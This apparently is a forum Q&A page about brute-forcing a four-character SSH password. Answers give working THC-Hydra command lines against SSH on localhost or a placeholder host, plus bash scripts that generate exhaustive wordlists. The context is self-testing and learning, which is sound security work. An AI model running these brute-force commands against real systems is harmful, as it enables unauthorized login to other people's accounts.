6

Suppose, you know that a certain computer is only protected by such a short password, then you could just try every possible combination easily.

How would a script look like, that tries to crack that password?

Something like

#!/bin/bash
wordlist=create_wordlist(); # external defined
for i in $(cat $wordlist); do
  echo ssh username@localhost pipe password $i here; 
done

(I know, this is not a good example but my bash skills are not that good yet)

3
  • 3
    As this is more bash, less security, I'd go over to super user. Dec 13, 2012 at 10:17
  • 4
    If you just want a quick hack, use 4 nested loops that go from a-z, and concatenate the values together.
    – Polynomial
    Dec 13, 2012 at 10:19
  • 1
    can't john the ripper connect to ssh server directly? Dec 13, 2012 at 22:25

4 Answers 4

18

hydra can generate the passwords for you. No need to generate them separately if you will be using brute force:

hydra -l user_name -V -x 4:4:aA1 ip_address ssh

-V means verbose, -x 4:4:aA1 means min is 4 letters, max is 4 letters. List of letters is a-z denoted by a, A-Z denoted by A, 0-9 denoted by 1. You can add other characters like %_-+/

You need to wrap apostrophes around the -x option if you add special characters like space, ^,&,* or ":

hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()=`~?><;:%^&*_-+/,.\ ' localhost ssh
3
  • This doesn't give anything new that previous answers haven't.
    – Rory Alsop
    Oct 5, 2013 at 14:43
  • 2
    It does, in fact this is the best answer, cause it doesent need to have a teporary wordlist file and works with just one line of code
    – rubo77
    Oct 6, 2013 at 7:52
  • 1
    I just successfully hacked a 1-letter password with hydra -l testuser -V -x 1:4:aA1- localhost ssh (1:4 means minimum 1 and maximum 4-letters)
    – rubo77
    Oct 6, 2013 at 7:55
11

Whilst you could use a generic scripting language like bash for this, you might get better results with a security tool focused on testing brute-force attacks like THC-Hydra from a speed perspective anyway.

3
  • ok, i followed that tutorial (insidetrust.blogspot.de/2011/08/…), but it doesent work: echo myrealpassword>/tmp/pass.txt; hydra 10.0.0.74 ssh2 -s 22 -p /tmp/pass.txt -l ruben -e ns -t 10 sais Error: Unknown service
    – rubo77
    Dec 13, 2012 at 14:38
  • I tend to have better success with re-ordering the switches so that the commands ends with the target and service. Read the hydra man page and help text.
    – schroeder
    Dec 13, 2012 at 18:01
  • i found it: hydra -l john -p doe 192.168.0.1 ssh works, thanks
    – rubo77
    Dec 13, 2012 at 21:43
2

so this is the conclusion:

nano /tmp/create_wordlist_case_sensitive.sh

#!/usr/bin/bash
letters="- . , _ "$(echo {0..9} {A..z})
run1=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )

echo '-'
for a in "${run1[@]}"
  do
  echo "$a"
  for b in "${run2[@]}"
    do
    echo "$a$b"
    for c in "${run3[@]}"
      do
      echo "$a$b$c"
        for d in "${run4[@]}"
        do
        echo "$a$b$c$d"
      done
    done
  done
done    

bash /tmp/create_wordlist_case_sensitive.sh >/tmp/word_list_long.txt

hydra -l john -P /tmp/word_list_long.txt attack_host ssh
0

here are two bash scripts to generate a list of all possible four letter combinations. the first gives only lowercase combinations (create_wordlist_case_insensitive.sh), while the second gives all combinations of upper and lowercase letters (create_wordlist_case_sensitive.sh).

$ cat create_wordlist_case_insensitive.sh
#!/usr/bin/bash

for a in {a..z}
 do
  for b in {a..z}
   do
    for c in {a..z}
     do
      for d in {a..z}
       do
        echo "$a$b$c$d"
       done
     done
   done
 done


$ cat create_wordlist_case_sensitive.sh
#!/usr/bin/bash

run1=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )

for a in "${run1[@]}"
 do
  for b in "${run2[@]}"
   do
    for c in "${run3[@]}"
     do
      for d in "${run4[@]}"
       do
        echo "$a$b$c$d"
       done
     done
   done
 done

use them to create your wordlist files like this:

$ create_wordlist_case_insensitive.sh >word_list_short.txt
$ create_wordlist_case_sensitive.sh >word_list_long.txt

then your script can loop through whichever file you need like this:

$ cat forceit.sh
#!/usr/bin/bash

while read line
 do
  echo "Trying: $line"
  echo ssh intaudftp@file --password "$line" ## NOT REAL CODE
 done < word_list_short.txt

except that this code won't really work, bc ssh doesn't accept a password as an argument.

you'd have to automate that segment of the code with expect, but i won't go into how to do that here. alternatively, i suppose you could use a different command that does accept a password as an argument, like telnet.

3
  • 1
    I am totally unsure how this is helpful to anyone. The hard part isn't coming up with the combos, it's how to brute-force ssh, which is the detail you purposely omitted.
    – schroeder
    Dec 13, 2012 at 23:58
  • Thx, this is the correct answer to the question. it would work with some more coding (with expect). but hydra will get better results.
    – rubo77
    Dec 14, 2012 at 4:48
  • You can shorten your for loops to just one loop using for a in {a..z}{a..z}{a..z}{a..z} ; do echo $a ; done. This will echo from aaaa to zzzz.
    – ott--
    Feb 27, 2015 at 1:09

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .